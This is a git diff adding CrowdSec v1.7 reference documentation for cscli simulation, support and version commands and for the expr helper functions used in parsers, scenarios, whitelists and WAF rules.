Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli simulation disable](/cscli/cscli_simulation_disable.md) - Disable the simulation mode. Disable only specified scenarios +* [cscli simulation enable](/cscli/cscli_simulation_enable.md) - Enable the simulation, globally or on specified scenarios +* [cscli simulation status](/cscli/cscli_simulation_status.md) - Show simulation mode status + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_disable.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_disable.md new file mode 100644 index 000000000..73ad33570 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_disable.md @@ -0,0 +1,40 @@ +--- +id: cscli_simulation_disable +title: cscli simulation disable +--- +Disable the simulation mode. Disable only specified scenarios + +``` +cscli simulation disable [scenario] [flags] +``` + +### Examples + +``` +cscli simulation disable +``` + +### Options + +``` + -g, --global Disable global simulation (reverse mode) + -h, --help help for disable +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli simulation](/cscli/cscli_simulation.md) - Manage simulation status of scenarios + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_enable.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_enable.md new file mode 100644 index 000000000..f6d9f173a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_enable.md @@ -0,0 +1,40 @@ +--- +id: cscli_simulation_enable +title: cscli simulation enable +--- +Enable the simulation, globally or on specified scenarios + +``` +cscli simulation enable [scenario] [-global] [flags] +``` + +### Examples + +``` +cscli simulation enable +``` + +### Options + +``` + -g, --global Enable global simulation (reverse mode) + -h, --help help for enable +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli simulation](/cscli/cscli_simulation.md) - Manage simulation status of scenarios + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_status.md new file mode 100644 index 000000000..1dca22bcf --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_status.md @@ -0,0 +1,39 @@ +--- +id: cscli_simulation_status +title: cscli simulation status +--- +Show simulation mode status + +``` +cscli simulation status [flags] +``` + +### Examples + +``` +cscli simulation status +``` + +### Options + +``` + -h, --help help for status +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli simulation](/cscli/cscli_simulation.md) - Manage simulation status of scenarios + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support.md new file mode 100644 index 000000000..4097b5abb --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support.md @@ -0,0 +1,30 @@ +--- +id: cscli_support +title: cscli support +--- +Provide commands to help during support + +### Options + +``` + -h, --help help for support +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli support dump](/cscli/cscli_support_dump.md) - Dump all your configuration to a zip file for easier support + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support_dump.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support_dump.md new file mode 100644 index 000000000..d3c45ac2e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support_dump.md @@ -0,0 +1,56 @@ +--- +id: cscli_support_dump +title: cscli support dump +--- +Dump all your configuration to a zip file for easier support + +### Synopsis + +Dump the following information: +- Crowdsec version +- OS version +- Enabled feature flags +- Latest Crowdsec logs (log processor, LAPI, remediation components) +- Installed collections, parsers, scenarios... +- Bouncers and machines list +- CAPI/LAPI status +- Crowdsec config (sensitive information like username and password are redacted) +- Crowdsec metrics +- Stack trace in case of process crash + +``` +cscli support dump [flags] +``` + +### Examples + +``` +cscli support dump +cscli support dump -f /tmp/crowdsec-support.zip + +``` + +### Options + +``` + -h, --help help for dump + -f, --outFile string File to dump the information to +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli support](/cscli/cscli_support.md) - Provide commands to help during support + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_version.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_version.md new file mode 100644 index 000000000..c488cb1c0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_version.md @@ -0,0 +1,33 @@ +--- +id: cscli_version +title: cscli version +--- +Display version + +``` +cscli version [flags] +``` + +### Options + +``` + -h, --help help for version +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/alert.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/alert.md new file mode 100644 index 000000000..5820e713f --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/alert.md @@ -0,0 +1,12 @@ +--- +id: alert +title: Alert +sidebar_position: 3 +--- + +An `Alert` is the runtime representation of a bucket overflow. + +The representation of the object can be found here : + +[Alert object documentation](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#RuntimeAlert) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/cti_helpers.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/cti_helpers.md new file mode 100644 index 000000000..87c2e6d83 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/cti_helpers.md @@ -0,0 +1,68 @@ +--- +id: cti_helpers +title: CTI helpers +sidebar_position: 4 +--- + +## CTI Helpers + +CTI Helper allows to query Crowdsec's CTI API to enhance the engine capabilities. +It requires [creating a CTI API Key in the console, as described here](/u/cti_api/getting_started). + +The CTI API Key must be present in the `api.cti` section of the configuration file: + +```yaml +api: + cti: + #The API key you got from the console + key: + #How long should CTI lookups be kept in cache + cache_timeout: 60m + #How many items can we keep in cache + cache_size: 50 + enabled: true + log_level: info|debug|trace + client: + insecure_skip_verify: false + ... + server: + listen_uri: 127.0.0.1:8080 + ... +``` + +### `CrowdsecCTI(string) SmokeItem` + +Returns the CTI information associated with the provided IP address. +The returned object is of type [`SmokeItem`](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/cticlient#SmokeItem), and exposes a few convenience helpers: + +#### `SmokeItem.GetAttackDetails() []string` + +Returns the list of the scenarios most triggered by the given IP. + +```yaml +"crowdsecurity/ssh-bf" in CrowdsecCTI("X.X.X.X").GetAttackDetails() +``` + +#### `SmokeItem.GetBackgroundNoiseScore() int` + +Returns the background noise score associated to the given IP, from a scale of 0 (not noisy) to 10 (extremely noisy). + +#### `SmokeItem.GetBehaviors() []string` + +Returns the list of [behaviors](/u/cti_api/taxonomy/behaviors) associated to the IP. The list of behaviors is derived from the scenarios the IP triggered. + +#### `SmokeItem.GetFalsePositives() []string` + +Returns the list of eventual [false positive categories](/u/cti_api/taxonomy/false_positives) associatted to the IP. + +#### `SmokeItem.GetMaliciousnessScore() float32` + +Returns the maliciousness score of the IP, from a scale of 1 (very malicious) to 0 (unknown). If the IP is part of the fire blocklist, the score is "1", otherwise it is computed based on the activity score of the IP over the previous day. + +#### `SmokeItem.IsFalsePositive() bool` + +Returns true if the IP is flagged as being a false positive. + +#### `SmokeItem.IsPartOfCommunityBlocklist() bool` + +Returns true if the IP is currently in the community blocklist. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/decision.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/decision.md new file mode 100644 index 000000000..6e54f11b9 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/decision.md @@ -0,0 +1,14 @@ +--- +id: decision +title: Decision +sidebar_position: 2 +--- + +A `Decision` is the runtime representation of a bucket overflow consequence : an action being taken against an IP, a Range, a User etc. + +The representation of the object can be found here : + +[Decision object documentation](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/models#Decision) + +Those objects are not meant to be manipulated directly by parsers and such, but rather be consumed by the bouncers via the Local API. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/event.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/event.md new file mode 100644 index 000000000..f6b57f447 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/event.md @@ -0,0 +1,148 @@ +--- +id: event +title: Event +sidebar_position: 2 +--- + +# Introduction + +An `Event` is the runtime representation of an item being processed by crowdsec. It can represent: + + - a Log line being parsed: `Type` is set to `log`, and `Line`, `Parsed` and `Meta` are populated + - an appsec rule match (`Appsec` holds the WAF rule match info) + - an overflow being reprocessed (`Overflow` is used) + + +The `Event` object is modified by parsers, scenarios, and passed along. [The representation of the object can be found here : Event object documentation](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#Event). + + + +## Event Object : Log Line + +When `Event` is a log line, `evt.GetType()` returns `log`, and the following fields are used: + - `Meta` and `Parsed` maps are holding parsing results. + - `Line` holds the representation of the original Log line. + +## Event Object : Overflow + +When `Event` is an overflow being reprocessed (`reprocess: true` in the originating scenario), `evt.GetType()` returns `appsec`, and [the `Overflow` object is used.](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#RuntimeAlert) + + +## Event Object : Appsec + +When `Event` is an event from the WAF/Appsec engine, `evt.GetType()` returns `appsec`, and [the `Appsec` field](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#AppsecEvent) is used, [more specifically `Appsec.MatchedRules`.](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#MatchedRules) + + +## Event Methods + +## Logs & Alerts Helpers + +### `Event.Time` + +The `event` object holds a `Time` field that is set to the date of the event (in time-machine mode) or the time of event acquisition (in live mode). As it is a golang's `time.Time` object, [all the time helpers are available](https://pkg.go.dev/time#Time), but only a few are showcased here. + +#### `Event.Time.Hour() int` + +Returns the hour of the day of the event. + +> `filter: "evt.Meta.log_type == '...' && (evt.Time.Hour() >= 20 || evt.Time.Hour() < 6)` + +Will detect if the event happened between 8pm and 6am (NWO). + +#### `Event.Time.Weekday().String() string` + +Returns the day of the week as a string (`Monday`, `Tuesday` etc.). + +> `filter: "evt.Meta.log_type == '...' && evt.Time.Weekday().String() in ['Saturday', 'Sunday']` + +Will detect if the event happend over the weekend (NWD). + +### `GetMeta(Key) Value` + +Returns the first value for the `Key` Meta if it exists in the event. + +> `evt.GetMeta("foobar")` + +### `SetMeta(key, value) bool` + +Sets the value of `key` to `value` in the Meta map. + +> `evt.SetMeta('foobar', 'toto)` + + +### `GetType() String` + +Returns the type of event, `overflow`, `appsec` or `log`. + +> `evt.GetType() in ["log", "appsec"]` + +### `ParseIPSources() []net.IP` + +Returns the list of IPs attached to the event, for both `overflow` and `log` type. + + +### `SetParsed(key, value) bool` + +Sets the value of `key` to `value` in the Parsed map. + +## Appsec Helpers + +If the `Event` is the result of a rule being, matched, `Event.Appsec` is present. + +### `Appsec.GetVar(name) value` + +Returns the `value` of the Appsec var `name`. + +> `evt.Appsec.GetVar("foobar")` + +### `Appsec.MatchedRules` + +`MatchedRules` is the list of rules that matched in the HTTP Request. It is an array of `map`, and each entry contains the following keys: + + - `id`, `name`, `msg`, `rule_type`, `tags`, `file`, `confidence`, `revision`, `secmark`, `accuracy`, `severity`, `kind` + +> `evt.Appsec.MatchedRules` and use below functions + +Various filtering methods are available: + - `MatchedRules.ByAccuracy(accuracy string) MatchedRules` + - `MatchedRules.ByDisruptiveness(is bool) MatchedRules` + - `MatchedRules.ByID(id int) MatchedRules` + - `MatchedRules.ByKind(kind string) MatchedRules` + - `MatchedRules.BySeverity(severity string) MatchedRules` + - `MatchedRules.ByTag(match string) MatchedRules` + - `MatchedRules.ByTagRx(rx string) MatchedRules` + - `MatchedRules.ByTags(match []string) MatchedRules` + - `MatchedRules.GetField(field Field) []interface{}` + - `MatchedRules.GetHash() string` + - `MatchedRules.GetMatchedZones() []string` + - `MatchedRules.GetMethod() string` + - `MatchedRules.GetName() string` + - `MatchedRules.GetRuleIDs() []int` + - `MatchedRules.GetURI() string` + - `MatchedRules.GetVersion() string` + - `MatchedRules.Kinds() []string` + +Example usage would be to have `on_match` rules to alter the WAF remediation: + +```yaml +on_match: + - filter: | + any( evt.Appsec.MatchedRules, #.name == "crowdsecurity/vpatch-env-access") and + ... + apply: + - SetRemediation("allow") +``` + +You can view detailed [`MatchedRules` doc here](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#MatchedRules). + +## Source specific helpers + +### `Source.GetValue() string` + +Return the `Source.Value` field value of a `Source`. + +### `Source.GetScope() string` + +Return the `Source.Scope` field value of `Source` (`ip`, `range` ...) + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/file_helpers.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/file_helpers.md new file mode 100644 index 000000000..e4b4b7d22 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/file_helpers.md @@ -0,0 +1,23 @@ +--- +id: file_helpers +title: File helpers +sidebar_position: 3 +--- + +:::info +File helpers do not load the file into memory, but rather use a cache on initial startup to avoid loading the same file multiple times. Please see [the data property](/log_processor/scenarios/format.md#data) on how to configure the Security Engine to load the file. +::: + +### `File(FileName) []string` + +Returns the content of `FileName` as an array of string, while providing cache mechanism. + +> `evt.Parsed.some_field in File('some_patterns.txt')` + +> `any(File('rdns_seo_bots.txt'), { evt.Enriched.reverse_dns endsWith #})` + +### `RegexpInFile(StringToMatch, FileName) bool` + +Returns `true` if the `StringToMatch` is matched by one of the expressions contained in `FileName` (uses RE2 regexp engine). + +> `RegexpInFile( evt.Enriched.reverse_dns, 'my_legit_seo_whitelists.txt')` \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/intro.md new file mode 100644 index 000000000..02a8c21fe --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/intro.md @@ -0,0 +1,24 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + +> [antonmedv/expr](https://github.com/antonmedv/expr) - Expression evaluation engine for Go: fast, non-Turing complete, dynamic typing, static typing + +Several places of CrowdSec's configuration use [expr](https://github.com/antonmedv/expr), notably : + + - [Filters](/log_processor/parsers/format.md#filter) that are used to determine events eligibility in parsers, scenarios and profiles + - [Statics](/log_processor/parsers/format.md#statics) use expr in the `expression` directive, to compute complex values + - [Whitelists](/log_processor/whitelist/introduction.md) rely on `expression` directive to allow more complex whitelists filters + - [Profiles](/local_api/profiles/intro.md) rely on `filters` directives to find matching profiles + +To learn more about [expr](https://github.com/antonmedv/expr), [check the github page of the project](https://github.com/antonmedv/expr/blob/master/docs/Language-Definition.md). + + +When CrowdSec relies on `expr`, a context is provided to let the expression access relevant objects : + + - `evt.` is the representation of the current event and is the most relevant object + - in [profiles](/local_api/profiles/intro.md), alert is accessible via the `Alert` object + +If the `debug` is enabled (in the scenario or parser where expr is used), additional debug will be displayed regarding evaluated expressions. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/ip_helpers.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/ip_helpers.md new file mode 100644 index 000000000..ca6b9a8e8 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/ip_helpers.md @@ -0,0 +1,90 @@ +--- +id: ip_helpers +title: IP helpers +sidebar_position: 3 +--- + +## IP Helpers + + +### `IpInRange(IPStr, RangeStr) bool` + +Returns true if the IP `IPStr` is contained in the IP range `RangeStr` (uses `net.ParseCIDR`) + +> `IpInRange("1.2.3.4", "1.2.3.0/24")` + +### `IpToRange(IPStr, MaskStr) IpStr` + +Returns the subnet of the IP with the request cidr size. +It is intended for scenarios taking actions against the range of an IP, not the IP itself : + +```yaml +type: leaky +... +scope: + type: Range + expression: IpToRange(evt.Meta.source_ip, "/16") +``` + +> `IpToRange("192.168.0.1", "24")` returns `192.168.0.0/24` + +> `IpToRange("192.168.42.1", "16")` returns `192.168.0.0/16` + + +### `IsIP(ip string) bool` + +Returns true if it's a valid IP (v4 or v6). + +> `IsIP("2001:0db8:85a3:0000:0000:8a2e:0370:7334")` + +> `IsIP("1.2.3.4")` + +> `IsIP(Alert.GetValue())` + + +### `IsIPV4(ip string) bool` + +Returns true if it's a valid IPv4. + +> `IsIPV4("1.2.3.4")` + +> `IsIPV4(Alert.GetValue())` + +### `IsIPV6(ip string) bool` + +Returns true if it's a valid IPv6. + +> `IsIPV6("2001:0db8:85a3:0000:0000:8a2e:0370:7334")` + +> `IsIPV6(Alert.GetValue())` + +### `LookupHost(host string) []string` + +:::warning +* Only use this function within postoverflows as it is can be very slow +* Note if you whitelist a domain behind a CDN provider, all domains using the same CDN provider will also be whitelisted +* Do not use variables within the function as this can be untrusted user input +::: +Returns []string ip addresses that resolvable to the hostname EG: `LookupHost('mydomain.tld') => ['1.2.3.4', '5.6.7.8']` +```yaml +name: me/my_cool_whitelist +description: lets whitelist our own IP +whitelist: + reason: dont ban my IP + expression: + - evt.Overflow.Alert.Source.IP in LookupHost('mydomain.tld') +# This can be useful when you have a dynamic ip and use dynamic DNS providers +``` + +### `GeoIPEnrich(ip string) *geoip2.City` + +Performs a geo lookup for IP and returns the associated [geoip2.City](https://pkg.go.dev/github.com/oschwald/geoip2-golang#City) object. + + +### `GeoIPASNEnrich(ip string) *geoip2.ASN` + +Performs a geo lookup for IP and returns the associated [geoip2.ASN](https://pkg.go.dev/github.com/oschwald/geoip2-golang#ASN) object. + +### `GeoIPRangeEnrich(ip string) net.IPNet` + +Returns the `net.IPNet` object associated to the IP if possible. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/json_helpers.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/json_helpers.md new file mode 100644 index 000000000..30e384106 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/json_helpers.md @@ -0,0 +1,91 @@ +--- +id: json_helpers +title: JSON/XML/KV Helpers +sidebar_position: 2 +--- + +## JSON Helpers + +### `UnmarshalJSON(jsonBlob string, out map[string]interface{}, targetKey string)` + +`UnmarshalJSON` allows to unmarshal a full json object into the `out` map, under the `targetKey` key. + +In most situation, the `evt.Unmarshaled` field will be used to store the unmarshaled json object. + +```yaml +filter: | + evt.Parsed.program == "my-program" +statics: + - parsed: json_parsed + expression: UnmarshalJSON(evt.Line.Raw, evt.Unmarshaled, "message") + - meta: user + expression: evt.Unmarshaled.message.user +``` + + +### `JsonExtract(JsonBlob, FieldName) string` + +Extract the `FieldName` from the `JsonBlob` and returns it as a string. (binding on [jsonparser](https://github.com/buger/jsonparser/)) + +> `JsonExtract(evt.Parsed.some_json_blob, "foo.bar[0].one_item")` + +### `JsonExtractSlice(JsonBlob, FieldName) []interface{}` + +Extract the JSON array in `FieldName` from `JsonBlob` and returns it as a go slice. + +Returns nil if the field does not exist or is not an array. + +> `JsonExtractSlice(evt.Parsed.message, "params")[0]['value']['login']` + +> `any(JsonExtractSlice(evt.Parsed.message, "params"), {.key == 'user' && .value.login != ''})` + +### `JsonExtractObject(JsonBlob, FieldName) map[string]interface{}` + +Extract the JSON object in `FieldName` from `JsonBlob` and returns it as a go map. + +Returns `nil` if the field does not exist or does is not an object. + +> `JsonExtractObject(evt.Parsed.message, "params.user")["login"]` + +### `ToJsonString(Obj) string` + +Returns the JSON representation of `obj` + +Returns an empty string if `obj` cannot be serialized to JSON. + +> `ToJsonString(JsonExtractSlice(evt.Parsed.message, "params"))` + + +## XML Helpers + + +### `XMLGetAttributeValue(xmlString string, path string, attributeName string) string` + +Returns the value of `attribute` in the XML node identified by the XPath query `path`. + +> `XMLGetAttributeValue(evt.Line.Raw, "/Event/System[1]/Provider", "Name")` + +### `XMLGetNodeValue(xmlString string, path string) string` + +Returns the content of the XML node identified by the XPath query `path`. + +> `XMLGetNodeValue(evt.Line.Raw, "/Event/System[1]/EventID")` + + +## Key-Value Helpers + +### `ParseKV(kvString string, out map[string]interface{}, targetKey string)` + +Parse a key-value string (such as `key=value foo=bar fu="a string"` ) into the `out` map, under the `targetKey` key. + +In most situation, the `evt.Unmarshaled` field will be used to store the object. + +```yaml +filter: | + evt.Parsed.program == "my-program" +statics: + - parsed: kv_parsed + expression: ParseKV(evt.Line.Raw, evt.Unmarshaled, "message") + - meta: user + expression: evt.Unmarshaled.message.user +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/libinjection_helpers.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/libinjection_helpers.md new file mode 100644 index 000000000..7a3d81c58 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/libinjection_helpers.md @@ -0,0 +1,17 @@ +--- +id: libinjection_helpers +title: LibInjection helpers +sidebar_position: 3 +--- + +### `LibInjectionIsSQLI(str) bool` + +Use [libinjection](https://github.com/libinjection/libinjection) to detect SQL injection in `str`. + +> `LibInjectionIsSQLI(evt.Parsed.http_args)` + +### `LibInjectionIsXSS(str) bool` + +Use [libinjection](https://github.com/libinjection/libinjection) to detect XSS in `str`. + +> `LibInjectionIsXSS(evt.Parsed.http_args)` \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/other_helpers.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/other_helpers.md new file mode 100644 index 000000000..92cec6539 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/other_helpers.md @@ -0,0 +1,147 @@ +--- +id: other_helpers +title: Other helpers +sidebar_position: 2 +--- + +## Time Helpers + +### `TimeNow() string` + +Return RFC3339 formatted time + +> `TimeNow()` + +### `ParseUnix(unix string) string` +``` +ParseUnix("1672239773.3590894") -> "2022-12-28T15:02:53Z" +ParseUnix("1672239773") -> "2022-12-28T15:02:53Z" +ParseUnix("notatimestamp") -> "" +``` +Parses unix timestamp string and returns RFC3339 formatted time + +## Stash Helpers + +### `GetFromStash(cache string, key string)` + +`GetFromStash` retrieves the value for `key` in the named `cache`. +The cache are usually populated by [parser's stash section](/log_processor/parsers/format.md#stash). +An empty string if the key doesn't exist (or has been evicted), and error is raised if the `cache` doesn't exist. + +## Others + +### `IsIPV4(ip string) bool` + +Returns true if it's a valid IPv4. + +> `IsIPV4("192.168.1.1")` + +> `IsIPV4(Alert.GetValue())` + +### `IsIP(ip string) bool` + +Returns true if it's a valid IP (v4 or v6). + +> `IsIP("2001:0db8:85a3:0000:0000:8a2e:0370:7334")` + +> `IsIP("192.168.1.1")` + +> `IsIP(Alert.GetValue())` + +### `GetDecisionsCount(value string) int` + +Returns the number of existing decisions in the database with the same value. +This can return expired decisions if they have not been flushed yet. + +> `GetDecisionsCount("192.168.1.1")` + +> `GetDecisionsCount(Alert.GetValue())` + +### `GetDecisionsSinceCount(value string, since string) int` + +Returns the number of existing decisions in the database with the same value since duration string (valid time units are "ns", "us" (or "µs"), "ms", "s", "m", "h".). +This can return expired decisions if they have not been flushed yet. + +> `GetDecisionsSinceCount("192.168.1.1", "7h")` + +> `GetDecisionsSinceCount(Alert.GetValue(), "30min")` + +### `GetActiveDecisionsCount(value string) int` + +Returns the number of active decisions in the database with the same value. + +> `GetActiveDecisionsCount(Alert.GetValue())` + + +### `GetActiveDecisionsTimeLeft(value string) time.Duration` + +Returns the time left for the longest decision associated with the value. + +The returned value type is `time.Duration`, so you can use all the [time.Duration methods](https://pkg.go.dev/time#Duration). + +> `GetActiveDecisionsTimeLeft(Alert.GetValue())` + +> `GetActiveDecisionsTimeLeft(Alert.GetValue()).Hours() > 1" + +### `KeyExists(key string, map map[string]interface{}) bool` + +Return true if the `key` exists in the map. + +### `Get(arr []string, index int) string` + +Returns the index'th entry of arr, or `""`. + + +### `Distance(lat1 string, long1 string, lat2 string, long2 string) float64` + +Computes the distance in kilometers between the set of coordinates represented by lat1/long1 and lat2/long2. +Designed to implement impossible travel and similar scenarios: + +```yaml +type: conditional +name: demo/impossible-travel +description: "test" +filter: "evt.Meta.log_type == 'fake_ok'" +groupby: evt.Meta.user +capacity: -1 +condition: | + len(queue.Queue) >= 2 + and Distance(queue.Queue[-1].Enriched.Latitude, queue.Queue[-1].Enriched.Longitude, + queue.Queue[-2].Enriched.Latitude, queue.Queue[-2].Enriched.Longitude) > 100 +leakspeed: 3h +labels: + type: fraud +``` +Notes: + - Will return `0` if either set of coordinates is nil (ie. IP couldn't be geoloc) + - Assumes that the earth is spherical and uses the haversine formula. + +### `Hostname() string` + +Returns the hostname of the machine. + +## Alert specific helpers + +### `Alert.Remediation bool` + +Is `true` if the alert asks for a remediation. Will be true for alerts from scenarios with `remediation: true` flag. Will be false for alerts from manual `cscli decisions add` commands (as they come with their own decision). + +### `Alert.GetScenario() string` + +Returns the name of the scenario that triggered the alert. + +### `Alert.GetScope() string` + +Returns the scope of an alert. Most common value is `Ip`. `Country` and `As` are generally used for more distributed attacks detection/remediation. + +### `Alert.GetValue() string` + +Returns the value of an alert. field value of a `Source`, most common value can be a IPv4, IPv6 or other if the Scope is different than `Ip`. + +### `Alert.GetSources() []string` + +Return the list of IP addresses in the alert sources. + +### `Alert.GetEventsCount() int32` + +Return the number of events in the bucket. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/strings_helpers.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/strings_helpers.md new file mode 100644 index 000000000..4b4d2c38a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/strings_helpers.md @@ -0,0 +1,182 @@ +--- +id: strings_helpers +title: Strings helpers +sidebar_position: 2 +--- + +## Strings + +### `Atof(string) float64` + +Parses a string representation of a float number to an actual float number (binding on `strconv.ParseFloat`) + +> `Atof(evt.Parsed.tcp_port)` + +### `Upper(string) string` + +Returns the uppercase version of the string + +> `Upper("yop")` + +### `Lower(string) string` + +Returns the lowercase version of the string + +> `Lower("YOP")` + + +### `ParseUri(string) map[string][]string` + +Parses an URI into a map of string list. + +`ParseURI("/foo?a=1&b=2")` would return : + +``` +{ + "a": []string{"1"}, + "b": []string{"2"} +} +``` + +### `PathUnescape(string) string` + +`PathUnescape` does the inverse transformation of PathEscape, converting each 3-byte encoded substring of the form "%AB" into the hex-decoded byte 0xAB. It returns an error if any % is not followed by two hexadecimal digits. + +### `PathEscape(string) string` + +`PathEscape` escapes the string so it can be safely placed inside a URL path segment, replacing special characters (including /) with %XX sequences as needed. + +### `QueryUnescape(string) string` + +`QueryUnescape` does the inverse transformation of QueryEscape, converting each 3-byte encoded substring of the form "%AB" into the hex-decoded byte 0xAB. It returns an error if any % is not followed by two hexadecimal digits. + +### `QueryEscape(string) string` + +`QueryEscape` escapes the string so it can be safely placed inside a URL query. + +### `Sprintf(format string, a ...interface{}) string` + +[Official doc](https://pkg.go.dev/fmt#Sprintf) : Sprintf formats according to a format specifier and returns the resulting string. + +> `Sprintf('%dh', 1)` returns `1h` + +### `Match(pattern string, object string) bool` + +`Match` returns true if the object string matches the pattern. Pattern only supports wildcard : + - `*` multi-character wildcard (including zero-length) + - `?` single character wildcard + +> `Match('to?o*', 'totoooooo')` returns `true` + +### `Fields(s string) []string` + +`Fields` splits the string s around each instance of one or more consecutive white space characters, as defined by unicode.IsSpace, returning a slice of substrings of s or an empty slice if s contains only white space. + +### `Index(s string, substr string) int` + +Index returns the index of the first instance of substr in s, or -1 if substr is not present in s. + +### `IndexAny(s string, chars string) int` + +IndexAny returns the index of the first instance of any Unicode code point from chars in s, or -1 if no Unicode code point from chars is present in s. + +### `Join(elems []string, sep string) string` + +Join concatenates the elements of its first argument to create a single string. The separator string sep is placed between elements in the resulting string. + +### `Split(s string, sep string) []string` + +Split slices s into all substrings separated by sep and returns a slice of the substrings between those separators. + +If s does not contain sep and sep is not empty, Split returns a slice of length 1 whose only element is s. + +If sep is empty, Split splits after each UTF-8 sequence. If both s and sep are empty, Split returns an empty slice. + +It is equivalent to SplitN with a count of -1. 